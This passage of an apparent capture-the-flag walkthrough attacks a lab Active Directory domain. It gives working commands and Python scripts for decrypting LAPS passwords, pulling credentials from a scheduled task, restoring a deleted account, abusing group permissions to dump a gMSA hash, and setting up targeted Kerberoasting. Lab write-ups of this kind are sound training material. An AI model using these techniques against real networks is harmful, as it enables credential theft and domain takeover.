<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fpd7M3emAOWSA1zGemyqb%2Fgrafik.png?alt=media&amp;token=b253e979-f2af-4ced-8da2-b37d551ba254" alt=""><figcaption></figcaption></figure>

We give it another try with the bloodyAD module `msldap`. This time we get the results in hex (still encrypted).

We recognize the blob as LAPS v2.0 because the password is encrypted, not plaintext. The original Microsoft LAPS stores passwords in cleartext, while v2.0 wraps them in a DPAPI‑NG blob.

The giveaway is the `4b44534b` bytes, which spell out KDSK (Key Distribution Services Key), the signature of the Crypto‑NG encryption that only LAPS v2.0 uses.

The second line is probably a list of 5 separate DPAPI-NG blobs, likely from `msLAPS-EncryptedPasswordHistory`.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -d trask.hsm -u e.parsons -k --host DC01.trask.hsm msldap laps 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fgl4eMNRWxB3BravaqZrx%2Fgrafik.png?alt=media&amp;token=8a7ab89c-2fc5-4db4-8a21-1064d3c52d53" alt=""><figcaption></figcaption></figure>

After retrieving the DPAPI-NG encrypted LAPS blob for `SENTINEL-PROTO` using bloodyAD, a short Python script leveraging the `dpapi-ng` library is used to strip the 16-byte Windows LAPS v2 header and decrypt the CMS envelope via `ncrypt_unprotect_secret()`, authenticating to DC01 with `e.parsons`' Kerberos ccache to recover the local administrator credentials. With the following attempt we are able to recover one password.

{% embed url="<https://github.com/jborean93/dpapi-ng>" %}

{% code title="decrypt-blob.py " overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import dpapi_ng

raw = bytes.fromhex("REDACTED")

# Strip the 16-byte LAPS v2 header (6caadc01...) to get the CMS envelope
data = raw[16:]

plaintext = dpapi_ng.ncrypt_unprotect_secret(
    data,
    server="DC01.trask.hsm",
    auth_protocol="kerberos",
)
print(plaintext.decode("utf-16-le"))
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
python decrypt-blob.py
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIw59R5d7BeSqbjFeVtgq%2Fgrafik.png?alt=media&amp;token=c9eca3f5-1023-441d-8b67-56bf8fc5ac24" alt=""><figcaption></figcaption></figure>

To check for additional credentials, the bloodyAD LAPS output (which included the `msLAPS-EncryptedPasswordHistory)` attribute containing five historical DPAPI-NG blobs is saved to a file and parsed with a second script that iterates over each entry, strips the LAPS v2 header, and decrypts them all using `e.parsons`' Kerberos ticket, revealing previous `lab-admin` password rotations for `SENTINEL-PROTO`.

{% code title="decrypt-blobs.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import dpapi_ng
import ast, sys

# If you saved the raw list output to a file:
# bloodyAD ... > laps_raw.txt
# Then extract the line starting with [b'

with open("laps_raw.txt") as f:
    for line in f:
        line = line.strip()
        if line.startswith("SENTINEL-PROTO : [b'"):
            raw_list = ast.literal_eval(line.split(" : ", 1)[1])
            break

for i, raw in enumerate(raw_list):
    cms = raw[16:]
    try:
        pt = dpapi_ng.ncrypt_unprotect_secret(
            cms,
            server="DC01.trask.hsm",
            auth_protocol="kerberos",
        )
        print(f"[{i}] {pt.decode('utf-16-le')}")
    except Exception as e:
        print(f"[{i}] FAILED: {e}")
```

{% endcode %}

We save the output into a file...

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -d trask.hsm -u e.parsons -k --host DC01.trask.hsm msldap laps > laps_raw.txt 2>&1
```

{% endcode %}

... and run the second script.

{% code overflow="wrap" expandable="true" %}

```
python decrypt-blobs.py
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMqG82Y4uBXuK9FqqPJK8%2Fgrafik.png?alt=media&amp;token=d549dec2-6a37-42d0-b410-a3a1afaa7c1d" alt=""><figcaption></figcaption></figure>

We have gathered now five passwords of a LOCAL admin account `lab-admin` for a specific machine called  `SENTINEL-PROTO` which we do not have identified yet. We were not able to discover it through a scan of the network. The account also do not appear in our Bloodhound data and a spray of that password to prior identified users is not fruitful.

We try to get a remote session on the DC via evil-winrm, but without success. We recall the open port `45985`. By trying to authenticate against that service, which seems also to be a remote management service, we are able to connect to the `SENTINEL-PROTO` machine. It seems like the port is forwarded thorugh the DC.

We are the local admin on that machine.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i SENTINEL-PROTO.trask.hsm -u lab-admin -p 'REDACTED' -P 45985
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRviyhFbeRFxJUk0VybiC%2Fgrafik.png?alt=media&amp;token=208fd111-eba5-4fd5-8996-d13701d2ec22" alt=""><figcaption></figcaption></figure>

We find the users flag at `C:\Users\Administrator\Desktop\user.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FctEdut13cVynwhJP8mcO%2Fgrafik.png?alt=media&amp;token=49550953-d071-447e-8d32-a10a38b2d017" alt=""><figcaption></figcaption></figure>

## Access as svc\_dcsecure\_agent

During the enumeration of the machine, we notice that an unusual piece of software called `DCSecure` is installed in the `Program Files (x86)` folder.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpStKS0OEYFYD5vhavmGg%2Fgrafik.png?alt=media&amp;token=a3b03fde-cf42-455f-a609-8bbf499cbb6a" alt=""><figcaption></figcaption></figure>

Running this piece of software requires a username and a password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FW0rciRWpLaKJFs9AfvwF%2Fgrafik.png?alt=media&amp;token=d181c498-131e-485d-98ff-7c1facd795cb" alt=""><figcaption></figcaption></figure>

We provide the labuser credentials and the see a successful run.

{% code overflow="wrap" expandable="true" %}

```
.\DCSecure.exe -u labuser -p 'REDACTED'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7hV8d9eqMaNlnGT6qmYu%2Fgrafik.png?alt=media&amp;token=b69ba77f-7ae2-4777-947b-8e0f32c943cf" alt=""><figcaption></figcaption></figure>

After running the application we inspect the log files.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBUAzxf36PqB04owDAlWs%2Fgrafik.png?alt=media&amp;token=701f8c7d-b19d-41bb-b275-2ff0312c97ff" alt=""><figcaption></figcaption></figure>

We see every 30 miuntes a check is performed, so a service or scheduled task might run this piece of software. Furthermore we see that the credentials of the `svc_dcsecure_agent` user were used, but the credentials are redataced and connection attempts failed to check `dcSecureSvc` and `svc_dcsecure_core` failed.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FazxJJ9DaAVyp4z1rM5Y6%2Fgrafik.png?alt=media&amp;token=91ca1e62-54b2-4235-b7a9-d9ab06332b4c" alt=""><figcaption></figcaption></figure>

At the end of the log file we see our attempt.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fukvf7EjXqKxLUYtIHwk0%2Fgrafik.png?alt=media&amp;token=59bb9d3a-0287-485d-b8f0-a786153737f7" alt=""><figcaption></figcaption></figure>

Since the application runs every 30 minutes using the credentials of the `svc_dcsecure_agent` user, let's check the scheduled tasks and services and then try to review them to see if we can retrieve the credentials. We do find a `DCSecure-Compliance-Check` scheduled task.

{% code overflow="wrap" expandable="true" %}

```
schtasks /query
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaPgGibnQViQCpPon6eYX%2Fgrafik.png?alt=media&amp;token=3b01871d-038c-493b-9c4b-013facddf87f" alt=""><figcaption></figcaption></figure>

We query the scheduled task an find the used credentials.

{% code overflow="wrap" expandable="true" %}

```
schtasks /query /tn DCSecure-Compliance-Check /v /fo LIST
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1zouJwmCg7PZBa2aU3AM%2Fgrafik.png?alt=media&amp;token=7a2836f6-1dc4-411f-bc40-a10f48a0ca68" alt=""><figcaption></figcaption></figure>

We test the credentials and are able to authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.trask.hsm -k -u 'svc_dcsecure_agent' -p 'REDACTED'  --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5JRDhAoQbfE5HI3yxsnY%2Fgrafik.png?alt=media&amp;token=821a61f5-c5fb-49a7-83cf-ccd989aa42f8" alt=""><figcaption></figcaption></figure>

## Shell as svc\_dcsecure\_core

We request a Kerberos TGT for `svc_dcsecure_agent` using `getTGT.py`. We then export the `KRB5CCNAME` environment variable to point at the newly created `svc_dcsecure_agent.ccache` file, so that our tooling uses this ticket for authentication.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py 'trask.hsm/svc_dcsecure_agent:REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/svc_dcsecure_agent.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjMEm9cfF9Bwp0Lj0AKNa%2Fgrafik.png?alt=media&amp;token=05719968-95dc-4f20-9358-33a75cb5a5a0" alt=""><figcaption></figcaption></figure>

We are performing a new enumeration with the new user of the Active Directory using rusthound, since these newly identified users were not included in our original scan.

{% code overflow="wrap" expandable="true" %}

```
rusthound -d trask.hsm --ldapfqdn DC01.trask.hsm --name-server 10.0.0.5 --zip --kerberos
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fz9ijZnMBh7bd21OkHut9%2Fgrafik.png?alt=media&amp;token=747efba4-428e-4330-bdb9-2acff732078d" alt=""><figcaption></figcaption></figure>

We can see that this user is in the `dc_securemaintenance` group. But here, too, we don't see a direct path in our Bloodhound data to move laterally or escalate our privileges

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEY3u2FuOzE5npTcOd33E%2Fgrafik.png?alt=media&amp;token=931c666f-80e5-4aba-a7ea-bd13cb22721c" alt=""><figcaption></figcaption></figure>

In addition to the BloodHound data, we also examine which permissions such as `GetWriteable` each user holds that are not reflected in BloodHound.

We see that `svc_dcsecure_core` currently sits in the `CN=Deleted Objects` container as a tombstoned object, over which we hold write permission. We also see that `svc_dcsecure_agent` has `CREATE_CHILD` permission specifically on the `OU=Legacy Service Compatible Access` OU.

These two findings combine into a restore path. Reanimating a tombstoned object in Active Directory is essentially moving it out of the `CN=Deleted Objects` container back into a live OU, which requires `CREATE_CHILD` in the destination container. Since our CREATE\_CHILD right applies only to `OU=Legacy Service Compatible Access`, that is the only OU we can reanimate the object into — attempting to restore it anywhere else would fail. So that is where we restore `svc_dcsecure_core`.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host dc01.trask.hsm -d trask.hsm -u svc_dcsecure_agent -p 'REDACTED' -k get writable
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FB2W2VB34ITJgZ0Sbn48r%2Fgrafik.png?alt=media&amp;token=0a234d2e-4230-4be8-9754-a8271282f9fc" alt=""><figcaption></figcaption></figure>

Using our `CREATE_CHILD` permission on the `OU=Legacy Service Compatible Access` OU, we reanimate the tombstoned `svc_dcsecure_core` object by restoring it into that container.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host dc01.trask.hsm -d trask.hsm -u svc_dcsecure_agent -p 'REDACTED' -k set restore 'svc_dcsecure_core' --newParent 'OU=Legacy Service Compatible Access,DC=trask,DC=hsm'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ffydm21a3nogpgGEG5ZEi%2Fgrafik.png?alt=media&amp;token=66499aec-7591-4a4b-b260-1c74b9a54445" alt=""><figcaption></figcaption></figure>

After restoring the account we try to authenticate with the same password of `svc_dcsecure_agent` and are successful.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.trask.hsm -k -u 'svc_dcsecure_core' -p 'REDACTED'  --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FoMvHMTnuk8Zi64ZDibee%2Fgrafik.png?alt=media&amp;token=1207106c-7c2e-4e6e-8926-c7f2244b54cd" alt=""><figcaption></figcaption></figure>

We request a Kerberos TGT for `svc_dcsecure_core` using `getTGT.py`. We then export the `KRB5CCNAME` environment variable to point at the newly created `svc_dcsecure_core.ccache` file, so that our tooling uses this ticket for authentication.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py 'trask.hsm/svc_dcsecure_core:REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/svc_dcsecure_core.ccache
```

{% endcode %}

We are performing a new enumeration with the new user of the Active Directory using rusthound, since these newly identified users were not included in our original scan.

{% code overflow="wrap" expandable="true" %}

```
rusthound -d trask.hsm --ldapfqdn DC01.trask.hsm --name-server 10.0.0.5 --zip --kerberos
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0Rl9p3hGryEvF9BNfCON%2Fgrafik.png?alt=media&amp;token=a748a850-1341-4fe0-81b5-5b23ed0976dc" alt=""><figcaption></figcaption></figure>

We see that the user `svc_dcsecure_core` is member of the `legacy access continuity` group which is member of the `remote management users` which would allow us to gain a remote session on the DC using evil-winrm.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fg1mO6yzCEkhRuLAype61%2Fgrafik.png?alt=media&amp;token=8f0323f4-c777-4ca7-84b6-4b0d89c9891c" alt=""><figcaption></figcaption></figure>

Next, we try to connect to the DC using evil-winrm and are successful.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC01.trask.hsm -r TRASK.hsm
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEUOVYYs6uOzh69RiVFiU%2Fgrafik.png?alt=media&amp;token=10b95ab9-9e49-47e0-8614-c2ee33a88000" alt=""><figcaption></figcaption></figure>

We enumerate the installation folders again and find an uninstall log file in `C:/Program Files (x86)/DCSecure/`.

{% code overflow="wrap" expandable="true" %}

```
type "C:/Program Files (x86)/DCSecure/uninstall.log"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJOH1WN6rY0YTP2Wn77zM%2Fgrafik.png?alt=media&amp;token=37d570ce-6e2f-4da3-baec-6c44269875c0" alt=""><figcaption></figcaption></figure>

In addition to the files found in `Program Files (x86)`, we find another unusual installation in the `SentinelSecurity.Client` directory within `Program Files`.

{% code overflow="wrap" expandable="true" %}

```
dir C:/Program Files/SentinelSecurity.Client/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSLDikgnBYINYNYai8Duq%2Fgrafik.png?alt=media&amp;token=7bd13345-3dd0-40b0-b9f6-410bdf1df1c2" alt=""><figcaption></figcaption></figure>

## Access as sentinel-xxxxx$

It looks like we can create temporary accounts using the binary.

{% code overflow="wrap" expandable="true" %}

```
.\SentinelSecurity.Client.exe
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrrzxIg7JhRtVxttPJLdP%2Fgrafik.png?alt=media&amp;token=e68a2b24-fadc-4a5f-b34d-8c0aec869787" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
Commands:
  create  Add a new Sentinel to the system.
```

{% endcode %}

We run the `create` command and receive a newly created Sentinel user along with its corresponding hash.

{% code overflow="wrap" expandable="true" %}

```
.\SentinelSecurity.Client.exe create
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcMELw9G3nB16l1Q5p8Og%2Fgrafik.png?alt=media&amp;token=7cb1ab4e-6df5-4c83-ba96-e372963d2f72" alt=""><figcaption></figcaption></figure>

We request a Kerberos TGT for `sentinel-ekHZ47` using `getTGT.py`. We then export the `KRB5CCNAME` environment variable to point at the newly created `sentinel-ekHZ47.ccache` file, so that our tooling uses this ticket for authentication.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py trask.hsm/sentinel-ekHZ47 -hashes :REDACTED
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/sentinel-ekHZ47.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fij4FMoNzgC450D7T3uQT%2Fgrafik.png?alt=media&amp;token=78ec6fb5-b2be-4ee2-b3a9-3f9c6eae76ac" alt=""><figcaption></figcaption></figure>

And we are able to authenticate as that user against the domain.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.trask.hsm -k --use-kcache --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fyvp4xXDrQjgY3STIDyMa%2Fgrafik.png?alt=media&amp;token=e6aced58-b267-4119-a3bd-74564240cd9a" alt=""><figcaption></figcaption></figure>

## Access as svc\_mmold$

We'll run another domain enumeration using rusthound after we've created the user. Let's see if these temporary users have been assigned any interesting permissions or groups.

{% code overflow="wrap" expandable="true" %}

```
rusthound -d trask.hsm --ldapfqdn DC01.trask.hsm --name-server 10.0.0.5 --zip --kerberos 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFzXYNGs0mKtLw6TCioQv%2Fgrafik.png?alt=media&amp;token=26d50fbd-85bc-41c0-8a05-11abd3068f49" alt=""><figcaption></figcaption></figure>

We see that our temporary Sentinel user is a member of the `sentinel service accounts` group, which in turn has `WriteOwner` privileges over the `sentinel service account readers` group.

We can set the temporary user as the owner of the `sentinel service account readers` group, grant ourselves `GenericAll` on the group, and then add a user we control to the group, thereby gaining all the permissions of the `sentinel service account readers` group.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWqKotRiXm91rea9fQGsd%2Fgrafik.png?alt=media&amp;token=92d8e04a-8c9f-4189-a667-b2b7071e6de4" alt=""><figcaption></figcaption></figure>

With the membership of the `sentinel service account readers` group we will be able to read the GMSA password of `svc_mmold$` gaining control over that account.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtZuXiRvFbjjCPUSrHdde%2Fgrafik.png?alt=media&amp;token=4f748789-fe7b-4b68-915c-fa0ed183852f" alt=""><figcaption></figcaption></figure>

**WriteOwner -> change ourself to owner**

We change the ownership of the target Active Directory object `sentinel service account readers` to our controlled account `sentinel-ekHZ47$` so we gain full control over it.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/grant-ownership#grant-ownership>" %}

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k ccache=$(pwd)/sentinel-ekHZ47.ccache --host DC01.trask.hsm -d trask.hsm -u 'sentinel-ekHZ47' set owner 'sentinel service account readers' 'sentinel-ekHZ47$'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9hQG8Rk7avlnlcC3Hgv8%2Fgrafik.png?alt=media&amp;token=52ced80b-5b95-4955-8104-c00152300373" alt=""><figcaption></figcaption></figure>

**Grant us GenericAll over the Group**

We grant the account `sentinel-ekHZ47$` `GenericAll` permissions over the target group `sentinel service account readers`, giving us full control over the object and its attributes.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/grant-rights>" %}

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k ccache=$(pwd)/sentinel-ekHZ47.ccache --host DC01.trask.hsm -d trask.hsm -u 'sentinel-ekHZ47' add genericAll 'sentinel service account readers' 'sentinel-ekHZ47$'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIjW5orP4bUyCwWoANwvY%2Fgrafik.png?alt=media&amp;token=644fbe13-61c0-41ca-9c5e-b8d059a9acff" alt=""><figcaption></figcaption></figure>

**AddMember: Add sentinel-ekHZ47$ to the group**

We add the account `sentinel-ekHZ47$` as a member of the `sentinel service account readers` group to inherit its privileges.

This abuse can be carried out when controlling an object that has a `GenericAll`, `GenericWrite`, `Self`, `AllExtendedRights` or `Self-Membership`, over the target group.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/addmember>" %}

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k ccache=$(pwd)/sentinel-ekHZ47.ccache --host DC01.trask.hsm -d trask.hsm -u 'sentinel-ekHZ47' add groupMember 'sentinel service account readers' 'sentinel-ekHZ47$'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8poW1MBhgsEBRQ6zfTDI%2Fgrafik.png?alt=media&amp;token=0fc4cdf1-063a-435b-a6ab-b5165a09fec4" alt=""><figcaption></figcaption></figure>

Now that we have added our temporary sentinel user to the `sentinel service account readers` group, we request a new TGT so that the updated group membership is reflected in the ticket's PAC and our newly inherited permissions take effect.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py trask.hsm/sentinel-ekHZ47 -hashes :REDACTED
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/sentinel-ekHZ47.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9VZcWWRlt7u0wP6YtJAR%2Fgrafik.png?alt=media&amp;token=17ff4b49-b8d0-45fe-b3de-7c88a58df92c" alt=""><figcaption></figcaption></figure>

**Dump gMSA**

Finally we dump the GMSA password using NetExec and gain the NTLM hash vo `svc_mmold$`.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap DC01.trask.hsm -k --use-kcache --gmsa
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRWr3oCNty6PkpZBda3lV%2Fgrafik.png?alt=media&amp;token=860b805f-b682-4bc2-aa94-8ab14a44ff05" alt=""><figcaption></figcaption></figure>

Now we request a Kerberos TGT for `svc_mmold$` using `getTGT.py`. We then export the `KRB5CCNAME` environment variable to point at the newly created `svc_mmold$.ccache` file, so that our tooling uses this ticket for authentication.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py trask.hsm/svc_mmold$ -hashes :REDACTED
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/svc_mmold$.ccache  
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4xcE7Uqcj3uPWyOqpInn%2Fgrafik.png?alt=media&amp;token=9d1b0df9-31ef-46a9-9fb0-972f7822de43" alt=""><figcaption></figcaption></figure>

We are able to authenticate agains the DC as `svc_mmold$`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb  DC01.trask.hsm -k --use-kcache --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTpBjRNRtMLqzzwfnH2vR%2Fgrafik.png?alt=media&amp;token=33ad742e-84dc-4045-8323-52be4c0d72c6" alt=""><figcaption></figcaption></figure>

## Access as m.mold

Unfortunately, we can't find any further path in Bloodhound. But here, too, we'll take also a look the write permission unsing bloodyAD. We see we have write permissions over Matt Mold which would porbably allow us to perform a targetKerberoast attack or a shadow credentials attack to take over the account.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k ccache=$(pwd)/svc_mmold$.ccache --host DC01.trask.hsm -d trask.hsm -u 'svc_mmold$' get writable
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYbSztiDpe3UhiSZ0E7ZI%2Fgrafik.png?alt=media&amp;token=95033b57-00c4-4330-95a5-5613f94a81fb" alt=""><figcaption></figcaption></figure>

We try to perform a targetedKerberoast attack using GetUserSPNs but we get a `KDC_ERR_S_PRINCIPAL_UNKNOWN` error.

`KDC_ERR_S_PRINCIPAL_UNKNOWN` means `m.mold` has no SPN set, so the KDC has no service principal to issue a ticket for. Kerberoasting only works against accounts with registered SPNs.

{% code overflow="wrap" expandable="true" %}

```
GetUserSPNs.py -k -dc-host DC01.trask.hsm -no-pass -request -usersfile <(echo 'm.mold') trask.hsm/'svc_mmold$'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRlwIq84zpjayat0GhTb0%2Fgrafik.png?alt=media&amp;token=2ed4064f-f165-4d79-8ab2-2f1a0e9c38d7" alt=""><figcaption></figcaption></figure>

Kerberoasting works by requesting a TGS (Ticket Granting Service) ticket for a service, which the KDC encrypts using the target account's password hash. We then take that ticket offline and crack the hash.

The catch is that the KDC will only issue a TGS ticket for an account that has an SPN registered. If the account has no SPN, there is no service to request a ticket for, and Kerberoasting is not possible.

In our case, we discover we have write privileges over the target account, but it has no SPN set, so we cannot Kerberoast it yet. Since we can write to the account, we simply add an arbitrary SPN ourselves (e.g. `fake/whatever`).

We query for the detailed output on get writeable and see that we are alos allowed to edit the SPN.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k ccache=$(pwd)/svc_mmold$.ccache --host DC01.trask.hsm -d trask.hsm -u 'svc_mmold$' get writable --detail
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgIcTfNDNngpUdjSfvqpv%2Fgrafik.png?alt=media&amp;token=27ac3a4f-69af-430b-a9f5-1e838cb6c4f3" alt=""><figcaption></figcaption></figure>

We use bloodyAD's `msldap addspn` module to register the Service Principal Name `sentinel/mmold` on the `Matt Mold` user object.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k ccache=$(pwd)/svc_mmold$.ccache --host DC01.trask.hsm -d trask.hsm -u 'svc_mmold$' msldap addspn 'CN=Matt Mold,OU=Staff,DC=trask,DC=hsm' 'sentinel/mmold'
```

{% endcode %}

